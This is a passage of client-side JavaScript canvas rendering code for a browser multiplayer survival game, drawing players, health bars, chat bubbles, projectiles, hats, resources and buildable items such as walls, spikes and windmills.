                        } if (config.mapScale - yOffset <= maxScreenHeight) {
                            var tmpX = Math.max(0, -xOffset);
                            var tmpMin = 0;
                            if (config.mapScale - xOffset <= maxScreenWidth)
                                tmpMin = maxScreenWidth - (config.mapScale - xOffset);
                            mainContext.fillRect(tmpX, config.mapScale - yOffset,
                                                 (maxScreenWidth - tmpX) - tmpMin, maxScreenHeight - (config.mapScale - yOffset));
                        }

                        // RENDER DAY/NIGHT TIME:
                        mainContext.globalAlpha = 1;
                        mainContext.fillStyle = "rgba(0, 0, 70, 0.35)";
                        mainContext.fillRect(0, 0, maxScreenWidth, maxScreenHeight);

                        // RENDER PLAYER AND AI UI:
                        mainContext.strokeStyle = darkOutlineColor;
                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj.visible) {

                                // NAME AND HEALTH:
                                if (tmpObj.skinIndex != 10 || (tmpObj==player) || (tmpObj.team && tmpObj.team==player.team)) {
                                    var tmpText = (tmpObj.team?"["+tmpObj.team+"] ":"")+(tmpObj.name||"");
                                    if (tmpText != "") {
                                        mainContext.font = (tmpObj.nameScale||30) + "px Hammersmith One";
                                        mainContext.fillStyle = "#fff";
                                        mainContext.textBaseline = "middle";
                                        mainContext.textAlign = "center";
                                        mainContext.lineWidth = (tmpObj.nameScale?11:8);
                                        mainContext.lineJoin = "round";
                                        mainContext.strokeText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
                                        mainContext.fillText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
                                        if (tmpObj.isLeader && iconSprites["crown"].isLoaded) {
                                            var tmpS = config.crownIconScale;
                                            var tmpX = tmpObj.x - xOffset - (tmpS/2) - (mainContext.measureText(tmpText).width / 2) - config.crownPad;
                                            mainContext.drawImage(iconSprites["crown"], tmpX, (tmpObj.y - yOffset - tmpObj.scale)
                                                                  - config.nameY - (tmpS/2) - 5, tmpS, tmpS);
                                        } if (tmpObj.iconIndex == 1 && iconSprites["skull"].isLoaded) {
                                            var tmpS = config.crownIconScale;
                                            var tmpX = tmpObj.x - xOffset - (tmpS/2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad;
                                            mainContext.drawImage(iconSprites["skull"], tmpX, (tmpObj.y - yOffset - tmpObj.scale)
                                                                  - config.nameY - (tmpS/2) - 5, tmpS, tmpS);
                                        }
                                    } if (tmpObj.health > 0) {

                                        // HEALTH HOLDER:
                                        var tmpWidth = config.healthBarWidth;
                                        mainContext.fillStyle = darkOutlineColor;
                                        mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth - config.healthBarPad,
                                                              (tmpObj.y - yOffset + tmpObj.scale) + config.nameY, (config.healthBarWidth * 2) +
                                                              (config.healthBarPad * 2), 17, 8);
                                        mainContext.fill();

                                        // HEALTH BAR:
                                        mainContext.fillStyle = (tmpObj==player||(tmpObj.team&&tmpObj.team==player.team))?"#8ecc51":"#cc5151";
                                        mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth,
                                                              (tmpObj.y - yOffset + tmpObj.scale) + config.nameY + config.healthBarPad,
                                                              ((config.healthBarWidth * 2) * (tmpObj.health / tmpObj.maxHealth)), 17 - config.healthBarPad * 2, 7);
                                        mainContext.fill();
                                    }
                                }
                            }
                        }

                        // RENDER ANIM TEXTS:
                        textManager.update(delta, mainContext, xOffset, yOffset);

                        // RENDER CHAT MESSAGES:
                        for (var i = 0; i < players.length; ++i) {
                            tmpObj = players[i];
                            if (tmpObj.visible && tmpObj.chatCountdown > 0) {
                                tmpObj.chatCountdown -= delta;
                                if (tmpObj.chatCountdown <= 0)
                                    tmpObj.chatCountdown = 0;
                                mainContext.font = "32px Hammersmith One";
                                var tmpSize = mainContext.measureText(tmpObj.chatMessage);
                                mainContext.textBaseline = "middle";
                                mainContext.textAlign = "center";
                                var tmpX = tmpObj.x - xOffset;
                                var tmpY = tmpObj.y - tmpObj.scale - yOffset - 90;
                                var tmpH = 47;
                                var tmpW = tmpSize.width + 17;
                                mainContext.fillStyle = "rgba(0,0,0,0.2)";
                                mainContext.roundRect(tmpX-tmpW/2, tmpY-tmpH/2, tmpW, tmpH, 6);
                                mainContext.fill();
                                mainContext.fillStyle = "#fff";
                                mainContext.fillText(tmpObj.chatMessage, tmpX, tmpY);
                            }
                        }
                    }

                    // RENDER MINIMAP:
                    renderMinimap(delta);

                    // RENDER CONTROLS:
                    if (controllingTouch.id !== -1) {
                        renderControl(
                            controllingTouch.startX, controllingTouch.startY,
                            controllingTouch.currentX, controllingTouch.currentY
                        );
                    }
                    if (attackingTouch.id !== -1) {
                        renderControl(
                            attackingTouch.startX, attackingTouch.startY,
                            attackingTouch.currentX, attackingTouch.currentY
                        );
                    }
                }

                // RENDER CONTROL:
                function renderControl(startX, startY, currentX, currentY) {
                    mainContext.save();
                    mainContext.setTransform(1, 0, 0, 1, 0, 0);
                    // mainContext.resetTransform();
                    mainContext.scale(pixelDensity, pixelDensity);
                    var controlRadius = 50;
                    mainContext.beginPath();
                    mainContext.arc(startX, startY, controlRadius, 0, Math.PI * 2, false);
                    mainContext.closePath();
                    mainContext.fillStyle = "rgba(255, 255, 255, 0.3)";
                    mainContext.fill();
                    var controlRadius = 50;
                    var offsetX = currentX - startX;
                    var offsetY = currentY - startY;
                    var mag = Math.sqrt(Math.pow(offsetX, 2) + Math.pow(offsetY, 2));
                    var divisor = mag > controlRadius ? (mag / controlRadius) : 1;
                    offsetX /= divisor;
                    offsetY /= divisor;
                    mainContext.beginPath();
                    mainContext.arc(startX + offsetX, startY + offsetY, controlRadius * 0.5, 0, Math.PI * 2, false);
                    mainContext.closePath();
                    mainContext.fillStyle = "white";
                    mainContext.fill();
                    mainContext.restore();
                }

                // RENDER PROJECTILES:
                function renderProjectiles(layer, xOffset, yOffset) {
                    for (var i = 0; i < projectiles.length; ++i) {
                        tmpObj = projectiles[i];
                        if (tmpObj.active && tmpObj.layer == layer) {
                            tmpObj.update(delta);
                            if (tmpObj.active && isOnScreen(tmpObj.x-xOffset, tmpObj.y-yOffset, tmpObj.scale)) {
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
                                mainContext.rotate(tmpObj.dir);
                                renderProjectile(0, 0, tmpObj, mainContext, 1);
                                mainContext.restore();
                            }
                        }
                    }
                }

                // RENDER PROJECTILE:
                var projectileSprites = {};
                function renderProjectile(x, y, obj, ctxt, debug) {
                    if (obj.src) {
                        var tmpSrc = items.projectiles[obj.indx].src;
                        var tmpSprite = projectileSprites[tmpSrc];
                        if (!tmpSprite) {
                            tmpSprite = new Image();
                            tmpSprite.onload = function() {
                                this.isLoaded = true;
                            }
                            tmpSprite.src = ".././img/weapons/" + tmpSrc + ".png";
                            projectileSprites[tmpSrc] = tmpSprite;
                        }
                        if (tmpSprite.isLoaded)
                            ctxt.drawImage(tmpSprite, x - (obj.scale / 2), y - (obj.scale / 2), obj.scale, obj.scale);
                    } else if (obj.indx == 1) {
                        ctxt.fillStyle = "#939393";
                        renderCircle(x, y, obj.scale, ctxt);
                    }
                }

                // RENDER WATER BODIES:
                function renderWaterBodies(xOffset, yOffset, ctxt, padding) {

                    // MIDDLE RIVER:
                    var tmpW = config.riverWidth + padding;
                    var tmpY = (config.mapScale / 2) - yOffset - (tmpW / 2);
                    if (tmpY < maxScreenHeight && tmpY + tmpW > 0) {
                        ctxt.fillRect(0, tmpY, maxScreenWidth, tmpW);
                    }
                }

                // RENDER GAME OBJECTS:
                function renderGameObjects(layer, xOffset, yOffset) {
                    var tmpSprite, tmpX, tmpY;
                    for (var i = 0; i < gameObjects.length; ++i) {
                        tmpObj = gameObjects[i];
                        if (tmpObj.active) {
                            tmpX = tmpObj.x + tmpObj.xWiggle - xOffset;
                            tmpY = tmpObj.y + tmpObj.yWiggle - yOffset;
                            if (layer == 0) {
                                tmpObj.update(delta);
                            }
                            if (tmpObj.layer == layer && isOnScreen(tmpX, tmpY, tmpObj.scale + (tmpObj.blocker||0))) {
                                mainContext.globalAlpha = tmpObj.hideFromEnemy?0.6:1;
                                if (tmpObj.isItem) {
                                    tmpSprite = getItemSprite(tmpObj);
                                    mainContext.save();
                                    mainContext.translate(tmpX, tmpY);
                                    mainContext.rotate(tmpObj.dir);
                                    mainContext.drawImage(tmpSprite, -(tmpSprite.width / 2), -(tmpSprite.height / 2));
                                    if (tmpObj.blocker) {
                                        mainContext.strokeStyle = "#db6e6e";
                                        mainContext.globalAlpha = 0.3;
                                        mainContext.lineWidth = 6;
                                        renderCircle(0, 0, tmpObj.blocker, mainContext, false, true);
                                    }
                                    mainContext.restore();
                                } else {
                                    tmpSprite = getResSprite(tmpObj);
                                    mainContext.drawImage(tmpSprite, tmpX - (tmpSprite.width / 2), tmpY - (tmpSprite.height / 2));
                                }
                            }
                        }
                    }
                }

                // GATHER ANIMATION:
                function gatherAnimation(sid, didHit, index) {
                    tmpObj = findPlayerBySID(sid);
                    if (tmpObj) tmpObj.startAnim(didHit, index);
                }

                // RENDER PLAYERS:
                function renderPlayers(xOffset, yOffset, zIndex) {
                    mainContext.globalAlpha = 1;
                    for (var i = 0; i < players.length; ++i) {
                        tmpObj = players[i];
                        if (tmpObj.zIndex == zIndex) {
                            tmpObj.animate(delta);
                            if (tmpObj.visible) {
                                tmpObj.skinRot += (0.002 * delta);
                                tmpDir = ((tmpObj == player)?getAttackDir():tmpObj.dir) + tmpObj.dirPlus;
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);

                                // RENDER PLAYER:
                                mainContext.rotate(tmpDir);
                                renderPlayer(tmpObj, mainContext);
                                mainContext.restore();
                            }
                        }
                    }
                }

                // RENDER PLAYER:
                function renderPlayer(obj, ctxt) {
                    ctxt = ctxt || mainContext;
                    ctxt.lineWidth = outlineWidth;
                    ctxt.lineJoin = "miter";
                    var handAngle = (Math.PI / 4) * (items.weapons[obj.weaponIndex].armS||1);
                    var oHandAngle = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndS||1):1;
                    var oHandDist = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndD||1):1;

                    // TAIL/CAPE:
                    if (obj.tailIndex > 0) {
                        renderTail(obj.tailIndex, ctxt, obj);
                    }

                    // WEAPON BELLOW HANDS:
                    if (obj.buildIndex < 0 && !items.weapons[obj.weaponIndex].aboveHand) {
                        renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
                        if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
                            renderProjectile(obj.scale, 0,
                                             items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
                        }
                    }

                    // HANDS:
                    ctxt.fillStyle = config.skinColors[obj.skinColor];
                    renderCircle(obj.scale * Math.cos(handAngle), (obj.scale * Math.sin(handAngle)), 14);
                    renderCircle((obj.scale * oHandDist) * Math.cos(-handAngle * oHandAngle),
                                 (obj.scale * oHandDist) * Math.sin(-handAngle * oHandAngle), 14);

                    // WEAPON ABOVE HANDS:
                    if (obj.buildIndex < 0 && items.weapons[obj.weaponIndex].aboveHand) {
                        renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
                        if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
                            renderProjectile(obj.scale, 0,
                                             items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
                        }
                    }

                    // BUILD ITEM:
                    if (obj.buildIndex >= 0) {
                        var tmpSprite = getItemSprite(items.list[obj.buildIndex]);
                        ctxt.drawImage(tmpSprite, obj.scale - items.list[obj.buildIndex].holdOffset, -tmpSprite.width / 2);
                    }

                    // BODY:
                    renderCircle(0, 0, obj.scale, ctxt);

                    // SKIN:
                    if (obj.skinIndex > 0) {
                        ctxt.rotate(Math.PI/2);
                        renderSkin(obj.skinIndex, ctxt, null, obj);
                    }
                }

                // RENDER SKINS:
                var skinSprites = {};
                var skinPointers = {};
                var tmpSkin;
                function renderSkin(index, ctxt, parentSkin, owner) {
                    tmpSkin = skinSprites[index];
                    if (!tmpSkin) {
                        var tmpImage = new Image();
                        tmpImage.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImage.src = ".././img/hats/hat_" + index + ".png";
                        skinSprites[index] = tmpImage;
                        tmpSkin = tmpImage;
                    }
                    var tmpObj = parentSkin||skinPointers[index];
                    if (!tmpObj) {
                        for (var i = 0; i < hats.length; ++i) {
                            if (hats[i].id == index) {
                                tmpObj = hats[i];
                                break;
                            }
                        }
                        skinPointers[index] = tmpObj;
                    }
                    if (tmpSkin.isLoaded)
                        ctxt.drawImage(tmpSkin, -tmpObj.scale/2, -tmpObj.scale/2, tmpObj.scale, tmpObj.scale);
                    if (!parentSkin && tmpObj.topSprite) {
                        ctxt.save();
                        ctxt.rotate(owner.skinRot);
                        renderSkin(index + "_top", ctxt, tmpObj, owner);
                        ctxt.restore();
                    }
                }

                // RENDER TAIL:
                var accessSprites = {};
                var accessPointers = {};
                function renderTail(index, ctxt, owner) {
                    tmpSkin = accessSprites[index];
                    if (!tmpSkin) {
                        var tmpImage = new Image();
                        tmpImage.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImage.src = ".././img/accessories/access_" + index + ".png";
                        accessSprites[index] = tmpImage;
                        tmpSkin = tmpImage;
                    }
                    var tmpObj = accessPointers[index];
                    if (!tmpObj) {
                        for (var i = 0; i < accessories.length; ++i) {
                            if (accessories[i].id == index) {
                                tmpObj = accessories[i];
                                break;
                            }
                        }
                        accessPointers[index] = tmpObj;
                    }
                    if (tmpSkin.isLoaded) {
                        ctxt.save();
                        ctxt.translate(-20 - (tmpObj.xOff||0), 0);
                        if (tmpObj.spin)
                            ctxt.rotate(owner.skinRot);
                        ctxt.drawImage(tmpSkin, -(tmpObj.scale/2), -(tmpObj.scale/2), tmpObj.scale, tmpObj.scale);
                        ctxt.restore();
                    }
                }

                // RENDER TOOL:
                var toolSprites = {};
                function renderTool(obj, variant, x, y, ctxt) {
                    var tmpSrc = obj.src + (variant||"");
                    var tmpSprite = toolSprites[tmpSrc];
                    if (!tmpSprite) {
                        tmpSprite = new Image();
                        tmpSprite.onload = function() {
                            this.isLoaded = true;
                        }
                        tmpSprite.src = ".././img/weapons/" + tmpSrc + ".png";
                        toolSprites[tmpSrc] = tmpSprite;
                    }
                    if (tmpSprite.isLoaded)
                        ctxt.drawImage(tmpSprite, x+obj.xOff-(obj.length/2), y+obj.yOff-(obj.width/2), obj.length, obj.width);
                }

                // RENDER GAME OBJECTS:
                var gameObjectSprites = {};
                function getResSprite(obj) {
                    var biomeID = (obj.y>=config.mapScale-config.snowBiomeTop)?2:((obj.y<=config.snowBiomeTop)?1:0);
                    var tmpIndex = (obj.type + "_" + obj.scale + "_" + biomeID);
                    var tmpSprite = gameObjectSprites[tmpIndex];
                    if (!tmpSprite) {
                        var tmpCanvas = document.createElement('canvas');
                        tmpCanvas.width = tmpCanvas.height = (obj.scale * 2.1) + outlineWidth;
                        var tmpContext = tmpCanvas.getContext('2d');
                        tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                        tmpContext.rotate(UTILS.randFloat(0, Math.PI));
                        tmpContext.strokeStyle = outlineColor;
                        tmpContext.lineWidth = outlineWidth;
                        if (obj.type == 0) {
                            var tmpScale;
                            for (var i = 0; i < 2; ++i) {
                                tmpScale = tmpObj.scale * (!i?1:0.5);
                                renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
                                tmpContext.fillStyle = !biomeID?(!i?"#9ebf57":"#b4db62"):(!i?"#e3f1f4":"#fff");
                                tmpContext.fill();
                                if (!i)
                                    tmpContext.stroke();
                            }
                        } else if (obj.type == 1) {
                            if (biomeID == 2) {
                                tmpContext.fillStyle = "#606060";
                                renderStar(tmpContext, 6, obj.scale * 0.3, obj.scale * 0.71);
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpContext.fillStyle = "#89a54c";
                                renderCircle(0, 0, obj.scale * 0.55, tmpContext);
                                tmpContext.fillStyle = "#a5c65b";
                                renderCircle(0, 0, obj.scale * 0.3, tmpContext, true);
                            } else {
                                renderBlob(tmpContext, 6, tmpObj.scale, tmpObj.scale * 0.7);
                                tmpContext.fillStyle = biomeID?"#e3f1f4":"#89a54c";
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpContext.fillStyle = biomeID?"#6a64af":"#c15555";
                                var tmpRange;
                                var berries = 4;
                                var rotVal = mathPI2 / berries;
                                for (var i = 0; i < berries; ++i) {
                                    tmpRange = UTILS.randInt(tmpObj.scale/3.5, tmpObj.scale/2.3);
                                    renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                                 UTILS.randInt(10, 12), tmpContext);
                                }
                            }
                        } else if (obj.type == 2 || obj.type == 3) {
                            tmpContext.fillStyle = (obj.type==2)?(biomeID==2?"#938d77":"#939393"):"#e0c655";
                            renderStar(tmpContext, 3, obj.scale, obj.scale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = (obj.type==2)?(biomeID==2?"#b2ab90":"#bcbcbc"):"#ebdca3";
                            renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
                            tmpContext.fill();
                        }
                        tmpSprite = tmpCanvas;
                        gameObjectSprites[tmpIndex] = tmpSprite;
                    }
                    return tmpSprite;
                }

                // GET ITEM SPRITE:
                var itemSprites = [];
                function getItemSprite(obj, asIcon) {
                    var tmpSprite = itemSprites[obj.id];
                    if (!tmpSprite || asIcon) {
                        var tmpCanvas = document.createElement('canvas');
                        tmpCanvas.width = tmpCanvas.height = (obj.scale * 2.5) + outlineWidth +
                            (items.list[obj.id].spritePadding||0);
                        var tmpContext = tmpCanvas.getContext('2d');
                        tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                        tmpContext.rotate(asIcon?0:(Math.PI/2));
                        tmpContext.strokeStyle = outlineColor;
                        tmpContext.lineWidth = outlineWidth * (asIcon?(tmpCanvas.width/81):1);
                        if (obj.name == "apple") {
                            tmpContext.fillStyle = "#c15555";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#89a54c";
                            var leafDir = -(Math.PI / 2);
                            renderLeaf(obj.scale * Math.cos(leafDir), obj.scale * Math.sin(leafDir),
                                       25, leafDir + Math.PI/2, tmpContext);
                        } else if (obj.name == "cookie") {
                            tmpContext.fillStyle = "#cca861";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#937c4b";
                            var chips = 4;
                            var rotVal = mathPI2 / chips;
                            var tmpRange;
                            for (var i = 0; i < chips; ++i) {
                                tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
                                renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                             UTILS.randInt(4, 5), tmpContext, true);
                            }
                        } else if (obj.name == "cheese") {
                            tmpContext.fillStyle = "#f4f3ac";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#c3c28b";
                            var chips = 4;
                            var rotVal = mathPI2 / chips;
                            var tmpRange;
                            for (var i = 0; i < chips; ++i) {
                                tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
                                renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                             UTILS.randInt(4, 5), tmpContext, true);
                            }
                        } else if (obj.name == "wood wall" || obj.name == "stone wall" || obj.name == "castle wall") {
                            tmpContext.fillStyle = (obj.name == "castle wall")?"#83898e":(obj.name=="wood wall")?
                                "#a5974c":"#939393";
                            var sides = (obj.name == "castle wall")?4:3;
                            renderStar(tmpContext, sides, obj.scale * 1.1, obj.scale * 1.1);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = (obj.name == "castle wall")?"#9da4aa":(obj.name=="wood wall")?
                                "#c9b758":"#bcbcbc";
                            renderStar(tmpContext, sides, obj.scale * 0.65, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes"
                                   || obj.name == "spinning spikes") {
                            tmpContext.fillStyle = (obj.name == "poison spikes")?"#7b935d":"#939393";
                            var tmpScale = (obj.scale * 0.6);
                            renderStar(tmpContext, (obj.name == "spikes")?5:6, obj.scale, tmpScale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, tmpScale, tmpContext);
                            tmpContext.fillStyle = "#c9b758";
                            renderCircle(0, 0, tmpScale/2, tmpContext, true);
                        } else if (obj.name == "windmill" || obj.name == "faster windmill" || obj.name == "power mill") {
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#c9b758";
                            renderRectCircle(0, 0, obj.scale * 1.5, 29, 4, tmpContext);
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale * 0.5, tmpContext);
                        } else if (obj.name == "mine") {
                            tmpContext.fillStyle = "#939393";
                            renderStar(tmpContext, 3, obj.scale, obj.scale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#bcbcbc";
                            renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "sapling") {
                            for (var i = 0; i < 2; ++i) {
                                var tmpScale = obj.scale * (!i?1:0.5);
                                renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
                                tmpContext.fillStyle = (!i?"#9ebf57":"#b4db62");
                                tmpContext.fill();
                                if (!i) tmpContext.stroke();
                            }
                        } else if (obj.name == "pit trap") {
                            tmpContext.fillStyle = "#a5974c";
                            renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = outlineColor;
                            renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "boost pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#dbd97d";
                            renderTriangle(obj.scale * 1, tmpContext);
                        } else if (obj.name == "turret") {
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#939393";
                            var tmpLen = 50;
                            renderRect(0, -tmpLen/2, obj.scale * 0.9, tmpLen, tmpContext);
                            renderCircle(0, 0, obj.scale * 0.6, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                        } else if (obj.name == "platform") {
                            tmpContext.fillStyle = "#cebd5f";
                            var tmpCount = 4;
                            var tmpS = obj.scale * 2;
                            var tmpW = tmpS / tmpCount;
                            var tmpX = -(obj.scale/2);
                            for (var i = 0; i < tmpCount; ++i) {
                                renderRect(tmpX - (tmpW/2), 0, tmpW, obj.scale*2, tmpContext);
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpX += tmpS / tmpCount;
                            }
                        } else if (obj.name == "healing pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#db6e6e";
                            renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
                        } else if (obj.name == "spawn pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#71aad6";
                            renderCircle(0, 0, obj.scale * 0.6, tmpContext);
                        } else if (obj.name == "blocker") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.rotate(Math.PI / 4);
                            tmpContext.fillStyle = "#db6e6e";
                            renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
                        }  else if (obj.name == "teleporter") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.rotate(Math.PI / 4);
                            tmpContext.fillStyle = "#d76edb";
                            renderCircle(0, 0, obj.scale * 0.5, tmpContext, true);
                        }
                        tmpSprite = tmpCanvas;
                        if (!asIcon)
                            itemSprites[obj.id] = tmpSprite;
                    }
                    return tmpSprite;
                }

                // RENDER LEAF:
                function renderLeaf(x, y, l, r, ctxt) {
                    var endX = x + (l * Math.cos(r));
                    var endY = y + (l * Math.sin(r));
                    var width = l * 0.4;
                    ctxt.moveTo(x, y);
                    ctxt.beginPath();
                    ctxt.quadraticCurveTo(((x + endX) / 2) + (width * Math.cos(r + Math.PI/2)),
                                          ((y + endY) / 2) + (width * Math.sin(r + Math.PI/2)), endX, endY);
                    ctxt.quadraticCurveTo(((x + endX) / 2) - (width * Math.cos(r + Math.PI/2)),
                                          ((y + endY) / 2) - (width * Math.sin(r + Math.PI/2)), x, y);
                    ctxt.closePath();
                    ctxt.fill();
                    ctxt.stroke();
                }

                // RENDER CIRCLE:
                function renderCircle(x, y, scale, tmpContext, dontStroke, dontFill) {
                    tmpContext = tmpContext||mainContext;
                    tmpContext.beginPath();
                    tmpContext.arc(x, y, scale, 0, 2 * Math.PI);
                    if (!dontFill) tmpContext.fill();
                    if (!dontStroke) tmpContext.stroke();
                }

                // RENDER STAR SHAPE:
                function renderStar(ctxt, spikes, outer, inner) {
                    var rot = Math.PI / 2 * 3;
                    var x, y;
                    var step = Math.PI / spikes;
                    ctxt.beginPath();
                    ctxt.moveTo(0, -outer);
                    for (var i = 0; i < spikes; i++) {
                        x = Math.cos(rot) * outer;
                        y = Math.sin(rot) * outer;
                        ctxt.lineTo(x, y);
                        rot += step;
                        x = Math.cos(rot) * inner;
                        y = Math.sin(rot) * inner;
                        ctxt.lineTo(x, y);
                        rot += step;
                    }
                    ctxt.lineTo(0, -outer);
                    ctxt.closePath();
                }

                // RENDER RECTANGLE:
                function renderRect(x, y, w, h, ctxt, stroke) {
                    ctxt.fillRect(x - (w / 2), y - (h / 2), w, h);
                    if (!stroke)
                        ctxt.strokeRect(x - (w / 2), y - (h / 2), w, h);
                }

                // RENDER RECTCIRCLE:
                function renderRectCircle(x, y, s, sw, seg, ctxt, stroke) {
                    ctxt.save();
                    ctxt.translate(x, y);
                    seg = Math.ceil(seg / 2);
                    for (var i = 0; i < seg; i++) {
                        renderRect(0, 0, s * 2, sw, ctxt, stroke);
                        ctxt.rotate(Math.PI / seg);
                    }
                    ctxt.restore();
                }

                // RENDER BLOB:
                function renderBlob(ctxt, spikes, outer, inner) {
                    var rot = Math.PI / 2 * 3;
                    var x, y;
                    var step = Math.PI / spikes;
                    var tmpOuter;
                    ctxt.beginPath();
                    ctxt.moveTo(0, -inner);
                    for (var i = 0; i < spikes; i++) {
                        tmpOuter = UTILS.randInt(outer + 0.9, outer * 1.2);
                        ctxt.quadraticCurveTo(Math.cos(rot + step) * tmpOuter, Math.sin(rot + step) * tmpOuter,
                                              Math.cos(rot + (step * 2)) * inner, Math.sin(rot + (step * 2)) * inner);
                        rot += step * 2;
                    }
                    ctxt.lineTo(0, -inner);
                    ctxt.closePath();
                }

                // RENDER TRIANGLE:
                function renderTriangle(s, ctx) {
                    ctx = ctx||mainContext;
                    var h = s * (Math.sqrt(3)/2);
                    ctx.beginPath();
                    ctx.moveTo(0, -h / 2);
                    ctx.lineTo( -s / 2, h / 2);
                    ctx.lineTo(s / 2, h / 2);
                    ctx.lineTo(0, -h / 2);
                    ctx.fill();
                    ctx.closePath();
                }

                // PREPARE MENU BACKGROUND:
                function prepareMenuBackground() {
                    var tmpMid = config.mapScale / 2;
                    objectManager.add(0, tmpMid, tmpMid + 200, 0, config.treeScales[3], 0);
                    objectManager.add(1, tmpMid, tmpMid - 480, 0, config.treeScales[3], 0);
                    objectManager.add(2, tmpMid + 300, tmpMid + 450, 0, config.treeScales[3], 0);
                    objectManager.add(3, tmpMid - 950, tmpMid - 130, 0, config.treeScales[2], 0);
                    objectManager.add(4, tmpMid - 750, tmpMid - 400, 0, config.treeScales[3], 0);
                    objectManager.add(5, tmpMid - 700, tmpMid + 400, 0, config.treeScales[2], 0);
                    objectManager.add(6, tmpMid + 800, tmpMid - 200, 0, config.treeScales[3], 0);
                    objectManager.add(7, tmpMid - 260, tmpMid + 340, 0, config.bushScales[3], 1);
                    objectManager.add(8, tmpMid + 760, tmpMid + 310, 0, config.bushScales[3], 1);
                    objectManager.add(9, tmpMid - 800, tmpMid + 100, 0, config.bushScales[3], 1);
                    objectManager.add(10, tmpMid - 800, tmpMid + 300, 0, items.list[4].scale, items.list[4].id, items.list[10]);
                    objectManager.add(11, tmpMid + 650, tmpMid - 390, 0, items.list[4].scale, items.list[4].id, items.list[10]);
                    objectManager.add(12, tmpMid - 400, tmpMid - 450, 0, config.rockScales[2], 2);
                }

                // LOAD GAME OBJECT:
                function loadGameObject(data) {
                    for (var i = 0; i < data.length;) {
                        objectManager.add(data[i], data[i + 1], data[i + 2], data[i + 3], data[i + 4],
                                          data[i + 5], items.list[data[i + 6]], true, (data[i + 7]>=0?{sid:data[i + 7]}:null));
                        i+=8;
                    }
                }

